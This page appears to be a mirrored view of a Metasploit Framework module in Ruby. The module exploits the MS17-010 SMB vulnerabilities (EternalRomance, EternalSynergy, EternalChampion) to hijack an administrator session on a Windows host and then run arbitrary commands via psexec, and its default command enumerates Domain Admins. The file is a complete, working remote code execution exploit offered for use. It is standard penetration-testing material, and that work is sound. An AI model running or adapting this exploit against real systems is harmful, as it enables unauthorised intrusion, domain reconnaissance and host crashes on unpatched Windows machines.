Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/ms17_010_command.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
8
include Msf::Exploit::Remote::SMB::Client::Psexec
9
include Msf::Auxiliary::Report
10
include Msf::Auxiliary::Scanner
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution',
17
'Description' => %q{
18
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
19
primitive. This will then be used to overwrite the connection session information with as an
20
Administrator session. From there, the normal psexec command execution is done.
21
22
Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
23
Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
24
exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
25
named pipe.
26
},
27
28
'Author' => [
29
'sleepya', # zzz_exploit idea and offsets
30
'zerosum0x0',
31
'Shadow Brokers',
32
'Equation Group'
33
],
34
35
'License' => MSF_LICENSE,
36
'References' => [
37
[ 'MSB', 'MS17-010' ],
38
[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
39
[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
40
[ 'CVE', '2017-0147'], # for EternalRomance reference
41
[ 'URL', 'https://github.com/worawit/MS17-010' ],
42
[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
43
[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
44
],
45
'DisclosureDate' => '2017-03-14',
46
'Notes' => {
47
'AKA' => [
48
'ETERNALSYNERGY',
49
'ETERNALROMANCE',
50
'ETERNALCHAMPION',
51
'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred
52
],
53
'Stability' => [CRASH_OS_DOWN],
54
'SideEffects' => [IOC_IN_LOGS],
55
'Reliability' => []
56
}
57
)
58
)
59
60
register_options([
61
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
62
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
63
OptPort.new('RPORT', [true, 'The Target port', 445]),
64
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
65
])
66
67
register_advanced_options([
68
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files', '']),
69
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
70
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
71
])
72
73
deregister_options('SMB::ProtocolVersion')
74
end
75
76
def run_host(ip)
77
if datastore['SMBUser'].present?
78
print_status("Authenticating to #{ip} as user '#{splitname(datastore['SMBUser'])}'...")
79
end
80
eternal_pwn(ip) # exploit Admin session
81
smb_pwn(ip) # psexec
82
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
83
print_error(e.message.to_s)
84
rescue ::Errno::ECONNRESET,
85
::Rex::HostUnreachable,
86
::Rex::Proto::SMB::Exceptions::LoginError,
87
::Rex::ConnectionTimeout,
88
::Rex::ConnectionRefused => e
89
print_error("#{e.class}: #{e.message}")
90
rescue StandardError => e
91
print_error(e.class.to_s)
92
print_error(e.message)
93
print_error(e.backtrace.join("\n"))
94
ensure
95
eternal_cleanup # restore session
96
end
97
98
def smb_pwn(ip)
99
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
100
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
101
@smbshare = datastore['SMBSHARE']
102
@ip = ip
103
104
# Try and authenticate with given credentials
105
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])
106
107
# Report output
108
print_good('Command completed successfully!')
109
print_status("Output for \"#{datastore['COMMAND']}\":\n")
110
print_line("#{output}\n")
111
report_note(
112
:rhost => datastore['RHOSTS'],
113
:rport => datastore['RPORT'],
114
:type => "psexec_command",
115
:name => datastore['COMMAND'],
116
:data => { :command_output => output }
117
)
118
end
119
end
120
121